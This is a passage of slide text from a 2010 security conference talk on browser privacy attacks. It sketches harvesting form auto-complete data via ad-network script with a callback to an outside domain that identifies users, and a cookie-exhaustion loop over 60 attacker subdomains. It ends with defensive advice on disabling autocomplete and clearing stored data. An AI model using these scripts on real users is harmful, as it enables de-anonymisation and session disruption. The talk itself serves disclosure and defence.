  • 26. Hidden Firefox Protection about:config signon.autofillForms © 2010 WhiteHat Security, Inc. | Page 26
  • 27. Long-term problem, even when “fixed” Mass distribute auto-complete code (ad network), cookie affected users with a unique ID, and setup a callback Web service. DOMAIN: website DOMAIN: whoisthisperson <script> var person = { function identify (person) { name: ‘name’, ... email: ‘name’, } } </script> identify(person); <script src=”http:// iknowyourname.com/?cb=identify”> © 2010 WhiteHat Security, Inc. | Page 27
  • 28. Need help deleting your cookies? the users way... 28 © 2010 WhiteHat Security, Inc. | Page
  • 29. The Hackers Way - (Cookie Exhaustion) Firefox: Global 3,000 cookie max cap. 50 cookies can be set per hostname. Therefore, we need 1 domain with 60 subdomains. <script> for (var i = 1; i <= 60; i++) { img = new Image(); img = "http://the" + i + ".cookiemonster.com/cgi-bin/cookie.pl"; } </script> P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"; Set-Cookie: cNAME_1=_cValue_1; Set-Cookie: cNAME_2=_cValue_2; Set-Cookie: cNAME_3=_cValue_3; ... https://bugzilla.mozilla.org/show_bug.cgi?id=321624 http://kuza55.blogspot.com/2008/02/understanding-cookie-security.html http://www.nczonline.net/blog/2008/05/17/browser-cookie-restrictions/ © 2010 WhiteHat Security, Inc. | Page 29
  • 30. $300 dollar hack © 2010 WhiteHat Security, Inc. | Page 30
  • 31. What to do... Disable Auto-Complete in the Web browser Remove persistent data (History, Form Data, Cookies, LocalStorage, etc.) NoScript (Firefox Extension), 1Password, etc. <form autocomplete="off"> <input type="text" autocomplete="off" /> © 2010 WhiteHat Security, Inc. | Page 31
  • 32. Questions? Jeremiah Grossman Founder & Chief Technology Officer Blog: http://jeremiahgrossman.blogspot.com/ Twitter: http://twitter.com/jeremiahg Email: jeremiah@whitehatsec.com © 2010 WhiteHat Security, Inc. | Page 32